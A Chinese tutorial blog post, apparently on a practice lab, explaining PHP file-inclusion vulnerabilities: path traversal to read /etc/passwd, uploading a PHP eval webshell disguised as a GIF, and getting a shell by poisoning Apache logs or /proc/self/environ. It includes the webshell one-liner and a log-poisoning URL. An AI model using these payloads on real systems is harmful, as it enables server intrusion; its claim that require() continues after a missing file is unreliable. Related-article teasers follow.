【网络安全】文件包含漏洞

news2024/11/26 2:44:10

文件包含漏洞

    • 文件包含漏洞原理
    • 文件包含漏洞经常出现的函数
    • 尝试查看etc/passwd敏感文件
    • 渗透过程
          • 上传phpinfo和webshell到服务器并使用工具连接
    • 其他方式
      • 包含日志文件getshell
      • 包含环境变量getshell

文件包含漏洞原理

文件包含漏洞是指,程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这重文件调用的过程一般被称为文件包含。在引用文件时,引用到了预期之外的文件,就可能会导致文件泄露和恶意的代码注入,此时就会造成文件包含漏洞。

文件包含漏洞经常出现的函数

include() #执行包含文件时,找不到被包含的文件时,脚本讲继续执行
require() #执行到包含文件时,找不到被包含的文件,脚本会继续运行
include_once()和require_once() #只加载一次包含文件,第二次加载不读取

尝试查看etc/passwd敏感文件

  1. url输入…/etc/passwd
  2. 每次多加一个…/尝试获取

在这里插入图片描述

渗透过程

上传phpinfo和webshell到服务器并使用工具连接
  1. 创建phpinfo和webshell文件
<?php phpinfo();eval($_POST['cmd']);?>

在这里插入图片描述
2. 通过文件上传传到服务器中
在这里插入图片描述

  1. 获取图片地址
    在这里插入图片描述

拼接地址为:http://192.168.0.106/06/vul/unsafeupload/uploads/11.gif

在这里插入图片描述
4. 利用文件上传漏洞访问此文件(拼接地址)
在这里插入图片描述
在这里插入图片描述
5. 上传webshell并使用菜刀连接
此步骤不在演示
详见: https://blog.csdn.net/qq_41158271/article/details/130032523

其他方式

包含日志文件getshell

原理:
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。

linux 默认的 apache 日志文件路径是

访问日志 /var/log/apache2/access.log
错误日志 /var/log/apache2/error.log

1.输入内容

http://192.168.0.106/06/vul/fileinclude/fi_local.php?<?php phpinfo();?>

在这里插入图片描述
2. 存在编码,使用bp绕过

在这里插入图片描述
在这里插入图片描述

3.文件包含漏洞位置输入此日志位置,利用此漏洞(权限不够,不进行演示)

在这里插入图片描述

包含环境变量getshell

原理:/proc/self/environ 这个文件里保存了系统的一些变量,我们通过修改头文件User-agen属性达成把phpinfo写入到/proc/self/environ文件中

  1. bp抓包修改User-agen属性

在这里插入图片描述

在这里插入图片描述

  1. 文件包含漏洞位置输入此日志位置,利用此漏洞(权限不够,不进行演示)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/429399.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C语言学习4——整型数据类型】

C语言学习4——整型数据类型整型数据类型用sizeof关键词来测量大小三位二进制表示的数值范围数值的补码表示法各种整型类型的数值范围是多少无符号整型整型数据类型 在上一节当中&#xff0c;我们遇到了用int关键词&#xff08;整数integer的缩写&#xff09;来表示一个整数的…

Python Qt5 入门教程

Python Qt5 入门教程 Python Qt5是一个强大的GUI工具包&#xff0c;可以用来设计各种桌面应用程序&#xff0c;包括图形用户界面、数据库应用程序等。本教程将带你入门Python Qt5&#xff0c;从安装开始到图形界面的设计以及常见的控件和事件。 安装 Python Qt5需要使用PyQt5…

好用的便签APP排行榜前十名?

我是一名时间管理与自律达人&#xff0c;而便签应用程序就是必备与理想的时间管理工具。经过自己长期的总结认为好用的电脑手机云便签APP应用程序应该具备以下功能。 1、多设备同步&#xff1a;可以方便地将电脑和手机之间的数据同步&#xff0c;随时随地管理便签内容。 2、分…

海思部署分类模型

1、原始模型 onnx转caffe报错没有globalaverage层。 于是转化成&#xff1a; onnx转化caffe之后&#xff0c;修改prototxt文件&#xff0c;加上globalaverage和reshape层. 参考&#xff1a;https://blog.csdn.net/z649431508/article/details/113425275 layer { name: “Glob…

PPO算法-理论篇

1. Policy Gradient 【李宏毅深度强化学习笔记】1、策略梯度方法&#xff08;Policy Gradient&#xff09; 李宏毅深度强化学习-B站 2. PPO PPO 算法 PPO算法更新过程如下&#xff1a; 初始化policy参数θ0\theta^0θ0在每一步迭代中&#xff1a; 使用θk\theta^kθk与环境…

架构师:不想当架构师的程序员不是好程序员

引言 不想当将军的士兵不是好士兵。 很多程序员的梦想&#xff0c;就是将来能成为一名架构师。 包括我刚学编程那时候&#xff0c;也是以当架构师为目标&#xff0c;觉得不想当架构师的程序员不是好程序员&#xff0c;希望将来能成为一个优秀的架构师。就像拿破仑那句名言&am…

进程调度算法(操作系统)

1、 前置知识 1.1 非抢占式与抢占式 1.1.1 非抢占式 非抢占式指的是一个线程的在执行期间&#xff0c;另一个线程的到达&#xff0c;尽管各项标准都优于执行线程&#xff08;例如优先级高于当前执行线程&#xff09;&#xff0c;也不会抢占CPU资源&#xff0c;会耐心的等待该…

【matlab程序】海图坐标轴单位的唯一

【matlab程序】海图坐标轴单位的唯一 【matlab程序】海图坐标轴单位的唯一 本文写作来源&#xff0c;从实际出发&#xff0c;用于实际&#xff1a; 热带海洋学报&#xff0c;投稿须知&#xff1a; 其中一条关于海图制作规范中&#xff1a; 经度标识&#xff08;E, W&#…

真题详解(0/1背包)-软件设计(四十九)

真题详解(线性表)-软件设计&#xff08;四十八)https://blog.csdn.net/ke1ying/article/details/130119249 多态有四种类型&#xff1a; 参数多态&#xff1a;应用比较广泛的多态&#xff0c;称为最纯多态。 包含多态&#xff1a;最常见的就是子类型化。 过载多态&#xff1…

Nfinity: YouTube创作者如何通过SocialFi变现

Nfinity推出了一个具有革命性的SocialFi平台&#xff1a;该平台通过生成NFT来帮助YouTube创作者实现内容变现。 YouTube做为全球第一大视频内容平台&#xff0c;尽管通过付费会员和广告收入的分成&#xff0c;为创作者们提供了大量的盈利机会&#xff0c;但它也存在很多的局限性…

【MybatisPlus快速入门】—— 基础入门

入门篇 我们先简单回顾一下 Mybatis 的用法&#xff0c;再引出MybatisPlus 1.1 Mybatis 框架回顾 &#x1f314; 1、什么是Mybatis框架呢&#xff1f; 一个持久层框架&#xff0c;目的是简化持久层的开发我们就使用springboot整合Mybatis&#xff0c;实现Mybatis框架的搭建…

NBT - 生成式蛋白设计,AI带来的蛋白质工程飞跃

科学家们创建了一个能够从头合成人工酶的人工智能系统。实验测试发现&#xff0c;一些酶与自然界中发现的酶具有相同的功效&#xff0c;即使人工生成的氨基酸序列与任何已知的天然蛋白质明显不同。实验表明&#xff0c;尽管自然语言处理是为了阅读和编写语言文本而开发的&#…

蓝牙技术|安卓将支持超宽带语音,蓝牙通话更清晰

Android 的蓝牙通话即将迎来质的飞跃&#xff0c;超宽带语音技术将让你的声音更清晰、更真实。 Android 专家 Mishaal Rahman 发现&#xff0c;Android 开源项目仓库中最近添加了一个补丁&#xff0c;实现了与蓝牙免提配置文件 v1.9 相关的功能。据IT之家了解&#xff0c;这个…

【初识C++】(关键字,命名空间)

文章目录一、C中的关键字二、命名空间1.命名空间规则展开命名空间域 和 #include 的区别2.正确使用命名空间三、C中的输入和输出一、C中的关键字 二、命名空间 命名空间是对于全局变量来说&#xff0c;我们在定义变量或函数时&#xff0c;函数名可能会和库中的函数名产生冲突。…

window 和 linux 安装 Tesseract-OCR

一、 Window 安装 Tesseract-OCR 1.安装 tesseract-ocr-w64-setup-5.3.1.20230401.exe 下载地址&#xff1a;https://digi.bib.uni-mannheim.de/tesseract/ 2. 配置 PATH 环境变量 3. 配置TESSDATA_PREFIX 环境变量 4. 在 cmd 中查询是否安装成功 5. 在安装的目录 tessda…

算法刷题总结 (七) 双指针

算法总结7 双指针一、双指针的概念1.1、什么是双指针&#xff1f;1.2、常见类型1.2.1、快慢指针1.2.2、左右端点指针1.2.3、区间指针 - 滑动窗口汇总二、经典例题2.1、快慢指针&#xff08;1&#xff09;、链表判环141. 环形链表142. 环形链表 II287. 寻找重复数876. 链表的中间…

人工智能学习07--pytorch15(前接pytorch10)--目标检测:FPN结构详解

FPN&#xff1a;用于目标检测的特征金字塔网络 backbone:骨干网络&#xff0c;例如cnn的一系列。&#xff08;特征提取&#xff09; (a)特征图像金字塔 检测不同尺寸目标。 首先将图片缩放到不同尺度&#xff0c;针对每个尺度图片都一次通过算法进行预测。 但是这样一来&#…

第二章:HTML CSS 网页开发基础(一)

一、HTML HTML&#xff1a;是一种网页制作标注性语言。HTML通过浏览器的翻译将页面呈现给用户。 1、1 HTML文档结构 HTML文档由4个主要标记组成&#xff0c;<html>、<head>、<title>、<body> <html>标记 该标记是所有html文件的开头&a…

[STM32F103C8T6]DMA

DMA(Direct Memory Access&#xff0c;直接存储器访问) 提供在外设与内存、存储器和存储器、外设 与外设之间的高速数据传输使用。它允许不同速度的硬件装置来沟通&#xff0c;而不需要依赖于 CPU&#xff0c;在这个时间中&#xff0c;CPU对于内存的工作来说就无法使用。 我自己…

实验设备管理系统【GUI/Swing+MySQL】(Java课设)

系统类型 Swing窗口类型Mysql数据库存储数据 使用范围 适合作为Java课设&#xff01;&#xff01;&#xff01; 部署环境 jdk1.8Mysql8.0Idea或eclipsejdbc 运行效果 本系统源码地址&#xff1a;https://download.csdn.net/download/qq_50954361/87682549 更多系统资源库…